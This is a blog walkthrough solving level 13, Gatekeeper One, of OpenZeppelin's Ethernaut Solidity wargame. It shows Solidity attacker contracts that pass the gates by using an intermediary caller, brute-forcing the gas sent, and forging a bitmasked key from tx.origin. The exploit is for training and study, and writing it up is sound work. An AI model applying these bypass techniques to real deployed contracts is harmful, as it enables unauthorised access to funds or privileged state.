Ethernaut Hacks Level 13: Gatekeeper One
Naveen ⚡
Posted on January 24, 2022
This is the level 13 of OpenZeppelin Ethernaut web3/solidity based game.
Pre-requisites
- Difference between
tx.origin
andmsg.sender
- gasleft function
- Solidity opcode basics
- Explicit Conversion between types
Hack
Given contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
player
has to pass all require
checks and set entrant
to player
address.
We start with following GatePassOne
to attack:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract GatePassOne {
function enterGate(address _gateAddr, uint256 _gas) public returns (bool) {
bytes8 gateKey = bytes8(tx.origin);
(bool success, ) = address(_gateAddr).call.gas(_gas)(abi.encodeWithSignature("enter(bytes8)", gateKey));
return success;
}
}
gateOne
This is exactly same as level 4. A basic intermediary contract will be used to call enter
, so that msg.sender
!= tx.origin
.
gateTwo
According to this one, the remaining gas just after gasleft
is called, should be a multiple of 8191. We can control the gas amount sent with transaction using call
. But it need to be set in such a way that amount set minus amount used up until gasleft
's return should be a multiple of 8191.
I'm going to use Remix's Debug feature and a little bit of trial & error to determine the remaining gas up until to that point. But first copy & deploy GatekeeperOne
in Remix with JavaScript VM
environment (since trials are quick & Debug on testnet didn't work on Remix for me!), with same solidity compiler version. Also deploy GateKeeperOneGasEstimate
with same environment, to help with estimating gas used up to that point:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract GateKeeperOneGasEstimate {
function enterGate(address _gateAddr, uint256 _gas) public returns (bool) {
bytes8 gateKey = bytes8(uint64(tx.origin));
(bool success, ) = address(_gateAddr).call.gas(_gas)(abi.encodeWithSignature("enter(bytes8)", gateKey));
return success;
}
}
Initially choose a random fixed gas amount (but big enough) to send with transaction. Let's say 90000
. And call enterGate
of GateKeeperOneGasEstimate
with address of our deployed GatekeeperOne
(from Remix, not Ethernaut's!) and the chosen gas. Now hit Debug
button in Remix console against the mined transaction. Focus on left pane.
See the list of opcodes executed corresponding to our contract execution. Step over (or drag progress bar) until the line with gasleft
is highlighted:
289 JUMPDEST
290 PUSH1 ..
292 PUSH2 ..
295 GAS
296 PUSH2
.
.
.
139 RETURN
Step here and there to locate the GAS
opcode which corresponds to gasleft
call. Proceed just one step more (to PUSH2
here) and note the "remaining gas" from Step Detail just below. In my case it's 89746
. Hence gas used up to that point:
gasUsed = _gas - remaining_gas
or, gasUsed = 90000 - 89746
or, gasUsed = 254
Now, we have gasUsed
and we want set a _gas
such that gasLeft
returns a multiple of 8191. One such value would be:
_gas = (8191 * 8) + gasUsed
or, _gas = (8191 * 8) + 254
or, _gas = 65782
(Note that I randomly chose 8
to multiply to 8191, you can choose any as log as sufficient gas is provided for transaction)
So _gas
should probably be 65782
to pass the check. But, the target GateKeeperOne
contract (Ethernaut's instance) on Rinkeby network must've had a little bit of different compile time options. So correct _gas
is not necessarily 65782
, but a close one. Let's pick a reasonable margin around 65782
and call enter
for all values around 65782
with that margin. A margin of 64
worked for me. Let's update GatePassOne
:
contract GatePassOne {
event Entered(bool success);
function enterGate(address _gateAddr, uint256 _gas) public returns (bool) {
bytes8 key = bytes8(uint64(tx.origin));
bool succeeded = false;
for (uint i = _gas - 64; i < _gas + 64; i++) {
(bool success, ) = address(_gateAddr).call.gas(i)(abi.encodeWithSignature("enter(bytes8)", key));
if (success) {
succeeded = success;
break;
}
}
emit Entered(succeeded);
return succeeded;
}
}
Calling enterGate
with GateKeeper
address and 65782
, params should now clear gateTwo
.
gateThree
This has checks that involves explicit conversions between uint
s. It can be inferred from third require
statement that the _gateKey
should be extracted from tx.origin
through casting while satisfying other checks.
tx.origin
will be the player
which in my case is:
0xd557a44ed144bf8a3da34ba058708d1b4bc0686a
We should be concerned with only 8 bytes of it since _gateKey
is bytes8
(8 byte size) type. And specifically last 8 bytes of it, since uint
conversions retain the last bytes.
So, 8 bytes portion (say, key
) of our interest:
key = 58 70 8d 1b 4b c0 68 6a
Accordingly, uint32(uint64(key)) = 4b c0 68 6a
.
To satisfy third require
, it is needed that:
uint32(uint64(key)) == uint16(tx.origin)
or, `4b c0 68 6a = 68 6a
which is only possible by masking with 00 00 ff ff
, such that:
4b c0 68 6a & 00 00 ff ff = 68 6a
So, mask = 00 00 ff ff
The first require
is satisfied by:
uint32(uint64(_gateKey)) == uint16(uint64(key)
or, 4b c0 68 6a = 68 6a
which is same problem as previous one and can be achieved with same, previous value of mask
.
The second require
asks to satisfy:
uint32(uint64(key)) != uint64(key)
or, 4b c0 68 6a != 58 70 8d 1b 4b c0 68 6a
We modify the mask to:
mask = ff ff ff ff 00 00 ff ff
so that it satisfies:
00 00 00 00 4b c0 68 6a & ff ff ff ff 00 00 ff ff != 58 70 8d 1b 4b c0 68 6a
while also satisfying other two require
s.
Hence the _gateKey
should be:
_gateKey = key & mask
or, _gateKey = 58 70 8d 1b 4b c0 68 6a & ff ff ff ff 00 00 ff ff
Finally, update GatePassOne
to reflect it.
contract GatePassOne {
event Entered(bool success);
function enterGate(address _gateAddr, uint256 _gas) public returns (bool) {
bytes8 key = bytes8(uint64(tx.origin)) & 0xffffffff0000ffff;
bool succeeded = false;
for (uint i = _gas - 64; i < _gas + 64; i++) {
(bool success, ) = address(_gateAddr).call.gas(i)(abi.encodeWithSignature("enter(bytes8)", key));
if (success) {
succeeded = success;
break;
}
}
emit Entered(succeeded);
return succeeded;
}
}
That was quite a level. But victory!
Learned something awesome? Consider starring the github repo 😄
and following me on twitter here 🙏
Posted on January 24, 2022
Join Our Newsletter. No Spam, Only the good stuff.
Sign up to receive the latest update from our blog.